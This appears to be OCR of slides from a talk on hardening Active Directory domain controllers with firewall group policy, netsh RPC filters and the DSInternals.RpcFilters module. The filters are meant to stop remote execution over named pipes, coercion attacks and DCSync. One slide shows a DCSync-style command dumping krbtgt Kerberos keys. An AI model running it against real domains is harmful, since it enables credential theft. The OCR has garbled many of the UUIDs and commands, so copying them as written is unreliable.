Comain Controller Firewall [ROCT-DCT.

v (A= Computer Configuration
v || Policies

| Software Settings

Setting

i3 Demain Controller: Metlogon static port
331 Domain Controller: Active Directory BPC static port
31 Demain Controller: File Replication Service (FRS) static port

Ltate

Enabled
Enabled
Enabled

Comment

Mo
Mo
Mo

- Windows Settings

| Administrative Templates:
| Control Panel
| Desktop
- M5 Secunty Guide
. M55 {Legacy
| Metwork
. Printers
- RPC Static Ports
- Server
| Start Menu and Taskbar
| System
- Windows Components

-+ All Settings
. Preferences
i%, User Configuration
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A Domain Controller: Active Directory RPC static port

E: Domain Controller: Active Directory RPC static port

Previcus Setting Mext Setting

— _ - |
(_) Mot Configured Lomment:

(@) Enabled

() Disabled

Supported on! | At |aast Windows 2000

Opticns: Help:

This policy setting allows you to configure a static port number
for Active Dhrectory RPC (includes M5-DR5R) on a domain
centroller,

Static port number:  |38907

If you enable this pelicy setting and specify a static port number,
Active Directory RPC will use that port for communication.




SMB and RPC Over Named Pipes

Name Protocol Local Port Program

W Active Directory Domain Controller oAl D-1n) TCP ystem
# DFS Management (SMB-In), S P ystem

| | | o :
2 File and Printer Sharing S | ; , ; ystem
File Server Remote Ma e L 3 ystem

Netlogon Service (NP- ' \ W ystem
Remote Event Log Manat - - b ystem

Remote File Server Resource N - ' ystem

Remote Service Management (NP-In) System

H PN i e
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RPC Filter for \PIPE\svcctl Named Pipe

Administrator: Command Prompt - netsh.exe

C:\>netsh.exe "
netsh>rpc filter

netsh rpc filter>add rule layer=um actiontype=block
Ok.

netsh rpc filter>add condition field=protocol matchtype=equal data=ncacn_np
Ok .

netsh rpc filter>add condition field=if uuid matchtype=equal data=367ABB81-9844-35F1-AD32-98F038601663
Ok.

netsh rpc filter>add filter
FilterKey: e9977d28-15db-11ef-812c-80817fbeoeea7
Ok.
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RPC Filters Blocking RCE Over SMB Named Pipes

add rule layer=um actiontype=block filterkey=do0c7640c-9355-4e52-8335-¢c12835559¢c10

add condition field=protocol matchtype=equal data=ncacn_np

add condition field=if uuid matchtype=equal data=367ABB81-9844-35F1-AD32-98F038001003
add filter

add rule layer=um actiontype=block filterkey=a43b9dd2-0866-4476-89dc-2e9b200762af

add condition field=protocol matchtype=equal data=ncacn _np

add condition field=if uuid matchtype=equal data=86D35949-83(C9-4044-B424-DB363231FDOC
add filter

add rule layer=um actiontype=block filterkey=13518cl1-e3d8-4162-9461-edallbeb540a
add condition field=if uuid matchtype=equal data=1FF70682-0A51-30E8-076D-740BES8CEE98B
add filter

add rule layer=um actiontype=block filterkey=1c079a18-e91f-4698-9868-68a121490636
add condition field=1if uuid matchtype=equal data=378E52B0-COA9-11CF-822D-00AA0O51E40F
add filter
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RPC Filters Blocking Coercion Attacks

add
add
add
add

add
add
add

add
add
add
add

add
add
add
add
add

add
add
add

4 * N

rule layer=um actiontype=block filterkey=dedffabf-db89-4177-be77-1954aa2c0b95
condition field=protocol matchtype=equal data=ncacn_np

condition field=if uuid matchtype=equal data=f6beaff7-1e19-4fbb-9f8f-b89e2018337c
filter

rule layer=um actiontype=block filterkey=f7f68868-5f50-4cda-al8c-6a7a549652e7
condition field=if uuid matchtype=equal data=82273FDC-E32A-18C3-3F78-827929DC23EA
filter

rule layer=um actiontype=block filterkey=7966512a-f2f4-4cb1-812d-d967ab83d28a
condition field=protocol matchtype=equal data=ncacn_np

condition field=if uuid matchtype=equal data=12345678-1234-ABCD-EF00-0123456789AB
filter

rule layer=um actiontype=permit filterkey=d71de@db-3eef-4935-bedf-20cf628abd9e
condition field=if uuid matchtype=equal data=c681d488-d850-11d0-8c52-00c04fdo0f7e
condition field=auth_ type matchtype=equal data=16

condition field=auth level matchtype=equal data=6

filter

rule layer=um actiontype=block filterkey=3adcce27-a7fa-4248-b8b8-ef6439a2coff
condition field=if uuid matchtype=equal data=c681d488-d850-11d0-8c52-00c04fd90f7e
filter
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add
add
add
add
add

add
add
add

add
add
add
add

add
add
add

rule layer=um actiontype=permit filterkey=c5ct8020-c83c-4803-9241-8c7f3bl10171f
condition field=if uuid matchtype=equal data=df1941c5-fe89-4e79-bf10-463657acf44d
condition field=auth_type matchtype=equal data=16

condition field=auth level matchtype=equal data=6

filter

rule layer=um actiontype=block filterkey=9ad23a391-085d-4f99-ael5-85e0ad801278
condition field=if uuid matchtype=equal data=df1941c5-fe89-4e79-bf10-463657acf44d
filter

rule layer=um actiontype=permit filterkey=43873c58-e130-4ffb-8858-d259a673a917
condition field=if uuid matchtype=equal data=4FC742E0-4A10-11CF-8273-00AA004AE673
condition field=remote_user token matchtype=equal data=D:(A;;CC;;;DA)

filter

rule layer=um actiontype=block filterkey=0a239867-73db-45e6-b287-do06fe3c8b18
condition field=if uuid matchtype=equal data=4FC742E0-4A10-11CF-8273-00AA004AE673
filter
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Blocking DCSync Attack (MS-DRSR)

() B DSInternals PowerShell Modu X + v — O

PS C:\> (Get—-ADReplAccount -Server contoso—-dc —-SamAccountName krbtgt).SupplementalCredentials.KerberosNew

Credentials:

AES256_CTS_HMAC_SHA1_96
Key: 58b782951501a920697f71dlelldeefd2cd66b90dUSe27dUOUacac30ldees5chlfa
Iterations: 4096

AES128_CTS_HMAC_SHA1_96
Key: 810660982b1b089aab99cae8uupald23
Iterations: 4096

RCY_HMAC_NT
Key: 3ec8e5b9f625badeecb3a6636c88a0U6
Iterations: 4096
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MS-DRSR Protocol Mixed Classification Problem
* IDL. DRSGetNCChanges (Opnum 3)

* IDL DRSReplicaAdd (Opnum 95)

* IDL DRSAddSIdHistory (Opnum 20)
* IDL DRSAddCloneDC (Opnum 28)

* IDL_ DRSCrackNames (Opnum 12)
 IDL_DRSBInd (Opnum 0)
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Windows Server 2025 OpNum Filter Condition

C:\> netsh rpc filter show filter

Listing all RPC Filters.

filterKey: e57a9749-7fcf-4bae-99te-0t46e15ball8
displayData.name: DCSync-Allow-DCO1
displayData.description: Allow AD replication from DCO1
filterId: 0x10751

layerKey: um

weight: Type: FWP_EMPTY Value: Empty
action.type: permit

Audit: Enable

numFilterConditions: 3

filterCondition|[9]

fieldKey: if uuid

matchType: FWP_MATCH EQUAL

conditionValue: Type: FWP_BYTE ARRAY16 TYPE Value: e3514235 11d14b06 c00004ab d2dcc4f
filterCondition[1]

fieldKey: opnum

matchType: FWP_MATCH_ EQUAL

conditionValue: Type: FWP_UINT16 Value: 3
filterCondition[2]

fieldKey: remote addr v4

matchType: FWP_MATCH EQUAL

* conditionValue: Type: FWP_UINT32 Value: 0x300d50a
N\
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Windows Server 2025 OpNum Filter Condition

filterKey: ea37937t-e962-4458-9e4b-44131e4b3a34
displayData.name: DCSync-Block

displayData.description: Block AD replication by default
filterId: ©x10752

layerKey: um

weight: Type: FWP_EMPTY Value: Empty

action.type: block

Audit: Enable

numFilterConditions: 2

filterCondition[9]
fieldKey: if uuid
matchType: FWP_MATCH EQUAL
conditionValue: Type: FWP_BYTE ARRAY16 TYPE Value: e3514235 11d14b06 c00004ab d2dcc24f

filterCondition[1]
fieldKey: opnum
matchType: FWP_MATCH EQUAL
conditionValue: Type: FWP_UINT16 Value: 3
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RPC Filter Audit Events

n

General Details

A Remote Procedure Call (RPC) was attem pted.

Subject:
SID: contoso\Admin
Name: Admin
Account Domain: contoso
Logonld: OxE3DOAB

Process Information:
PID:
Mame:

Metwork Information:
Remote IP Address:
Remote Port:

RPC Attributes:
Interface UUID: {e3514235-4b06-11d1-ab04-00c04fc 2dcd?2)
OpNum:
Protocol Sequence: ncacn_ip_tcp
Authentication Service: 9

-

Authentication Level; 6
Log Name: Security
Source: Microsoft Windows security : Logged: 2/28/2025 11:16:05 PM
Event 1D 5712 Task Category: RPC Events
H a E A\ % ’,Dg:%‘fﬂ'iyﬂm vel: Information Keywords: Audit Failure
-~ o .. OPS
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DSInternals.RpcFilters PowerShell Module

B CONTOSO-DC2

> >
> >
> >
>>
>>
>>

[contoso—-dc2]:

[contoso—-dc2]:

X +

'

PS C:\> New-RpcFilter -Name 'DCSync-Allow-DCO1' *

PS C:\>

—WellKnownOperation IDL_DRSGetNCChanges °
-Persistent

-Action Permit ‘

-Audit

-RemoteAddress 10.213.0.3 *

—Description 'Allow AD replication from DCO1'

f %EA

% [ PROTECTION
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DSInternals.RpcFilters PowerShell Module
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2 CONTOSO-DC2 ¥ + v

[contoso—-dc2]: PS C:\> Get—-RpcFilter

Name: DCSync—-Allow-DCO1
Description: Allow AD replication from DCOl
FilterId: 67409, FilterKey: e57a97U9-7fcf-Ubae-99fe-0fU6e15ball8, ProviderKey: N/A

Action: Permit
Audit: True, Persistent: True, BootTimeEnforced: False, Disabled: False

EffectiveWeight: 0x7e0000000001007, Weight: N/A

Conditions:
Protocol = MS-DRSR (drsuapi) - {e3514235-4b06-11d1l-abOU4-00cOUfc2dcd2}

Operation = IDL_DRSGetNCChanges (3)
RemoteAddress = 10.213.0.3/32

Name: DCSync-Block
Description: Block AD replication by default
FilterId: 67410, FilterKey: ea37937f-e962-4U458-9elb-U4l3leldb3a3ld, ProviderKey: N/A

Action: Block
Audit: True, Persistent: True, BootTimeEnforced: False, Disabled: False

EffectiveWeight: 0x7e0000000000007, Weight: N/A

Conditions:
Protocol = MS-DRSR (drsuapi) - {e3514235-U4b06-11d1-abOU-00cOUfc2dcd2}

Operation = IDL_DRSGetNCChanges (3)

OrPS



DSInternals.RpcFilters PowerShell Module

::3'

I_||1'|-:||'
I LLE]

" Add criteria ™

MachineName TimeCreated Allowed | User Protocol Operation Transport |IPAddress | AuthType | AuthlLevel
CONTOSO-DC2.contoso.com  6/26/2025 64722 PM  True contoso\CONTOS0-DCs MS-DRSR (drsuapi) |IDL_DRSGetNCChanges ncacn_ip_tcp 10.213.0.2 Kerberos PacketPrivacy
CONTOS0O-DC2.contoso.com  6/26/2025 6:40:25 PM  False contosolAdmin M5-DRSR (drsuapi) [IDL_DRSGetNCChanges ncacn_ip_tcp 10.213.0.6 Negotia... PacketPrivacy
CONTOS0-DC2.contoso.com  6/3/2025 11:07:05 A... False contoso\Admin MS-5CMR 15 ncacn_np Mone Default
CONTOS0-DC2.contoso.com  5/28/2025 11:16:05...  False contoso\Admin MS-DRSR (drsuapi) [IDL_DRSGetNCChanges ncacn_ip_tcp 10.213.0.6 Negotia... PacketPrivacy
CONTOS0-DC2.contoso.com  5/28/2025 11:14:37... True contoso\CONTOS0-DCy MS5-DRSR (drsuapi) [IDL_DRSGetNCChanges ncacn_ip_tcp 10.213.0.3 MNegotia... PacketPrivacy
CONTOS0-DC2.contoso.com  5/28/2025 11:13:23... True contoso\Admin MS5-DRSR (drsuapi) [IDL_DRSGetNCChanges ncacn_ip_tcp 10.213.0.6 Negotia... PacketPrivacy
CONTOS0-DC2.contoso.com  5/28/2025 11:12:13... False contosoh\Admin M5-DRSR (drsuapi) [IDL_DRSGetNCChanges ncacnop_tcp 10.213.0.6 Negotia... PacketPrivacy
CONTOS0-DC2.contoso.com  5/28/2025 11:12:10...  False contoso\Admin M5-DRSR (drsuapi) [IDL_DRSGetNCChanges ncacn_ip_tcp 10.213.0.6 Negotia... PacketPrivacy
CONTOSO-DC2.contoso.com  5/28/2025 11:10:32... False contoso\CONTOS50-DCs MS5S-DRSR (drsuapi) 0 ncacn_ip_tcp  10.213.0.2 Kerberos  PacketPrivacy
CONTOSO-DC2.contoso.com  5/28/2025 11:10:12... False contoso\CONTOS0-DC: MS-DRSR (drsuapi) 0 ncacn_ip_tcp  10.213.0.2 Kerberos  PacketPrivacy
CONTOS0-DC2.contoso.com  5/28/2025 11:10:12...  False contoso\CONTOS0-DCy M5-DRSK (drsuapi) 2 ncacn_ip_tcp 10.213.0.3 Kerberos  PacketPrivacy
0 0

CONTOS0-DC2.contoso.com  5/28/2025 11:09:56... False contoso\CONTOS0-DCy M5-DRSR (drsuapi) ncacn_ip_tcp  10.213.0.3 MNegotia... PacketPrivacy
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Trust: Deterministic Builds and Signed Artifacts

@ NuGet Package Explorer - DSInternals.Win32.RpcFilters 1.0.0

File Edit View Content Tools Help

Package metadata Package contents

net48
%] DSInternals.Win32.RpcFilters.dIl
& DSinternals.Win32.RpcFilters.xml
| net8.0-windows7.0
|EL| icon.png
¥| README.md

Id: DSInternals.Win32.RpcFilters
Version: 1.0.0
Publisher: Michael Grafnetter
@ Thursday, September 25, 2025 3:24:08 PM
by Microsoft Public RSA Time Stamping Authority
Repository: NuGet.org Repository by ft
@ Thursdav, Septpmbpr 25, 2025 3:27:47 PM
by DigiCert SHA256 RSA4096 Timestamp Responde
Owners: DSInternals

Service Index: [p ol Hhain g T o lib\net48\DSInternals.Win32.RpcFilters.dll X
Valid: @~ ¢ —'”H“' @ Thu, Sep 25, 2025 3:24:07 PM by Microsoft Public RSA Time Stamping Authority
Publisher Info: Url: Description:
Size: 283 KB
Assembly Attributes | PDB Info | PDB Sources

L S e e R e R L e ey e e N = R = R L L 4 s e e AATL § e e e T R e S s e ) I Sy =

Health:
Signature: Valid @
Source Link: Valid with Symbol Server @
Deterministic (dll/exe): Valid )

Compiler Flags: Valid &
Note: Dependencies are not checked by this tool.

Authors: Michael Grafnetter
Readme: README.md
Tags: RPC Filter WFP Firewall Windows Interop

License MIT

w.qithubu ntent.com/MichaelGrafnetter/R

mation
Copyright:
Copyright (c) 2024-2025 Michael Grafnetter. All rights reserved.
Repository:
Type: git
Url: https://github.com/MichaelGrafnetter/RpcFilterManager.qgit

otter/ F.F" F||’r'rl‘.-'1ar"|a-: er/eadds:
/RPCFilterManac : ; /D
ar/BPCFiterMananer /eadd5409,333a57526AN188283frBA3eah 8 3N0hat /Sre /DS Internals Win32? BncFilters,

Branch: refs/heads/main
Commit: ead4549¢c333e57586d0188e

C:\Users\Michae\Downloads\dsinternals.win32.rpcfilters.1.0.0 (1).nupkg
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Domain Controller Firewall Project

v I GPO
v @ PolicyDefinitions

> B en-US

Domain Controller Firewall

File path

__E] DomainControllerFirewall.admx

GPO\PolicyDefinitions\en-

S-legacy.adml

) MSS-legacy.admx

Domain Controller Firewall

2.13 Security Standards Complian

2131 Security Technical Implementa __E] SecGuide.admx

Domain Controller Firewall

While the built-in Windows tools use

weas developed and Deployment Documentation 3 Rp[NﬂmEdPi pESF”ters_tﬂ

*avel Formanek, Micha

" Set-ADDSFirewallPolicy.Sample.json
9 Set-ADDSFirewallPolicy.Starter.json

9 Set-ADDSFirewallPolicy.ps

Group ID Severity  Rule Title

CATIl Windows Defend

' Set-ADDSFirewallPolicy.schema.json

CATH Windows Defend
must be enabled
network.

CATH Windows Defend } - SChE m a
must be enabled

network.

::T: I:II::lI.‘:. DEIF:':l:Iil:ited inbound connections when 3 G Pl::] RE F]Dr—t- h-l: m I

connected to a domain.

' README.md

Y inbound-builtin-firewall-rules.csv
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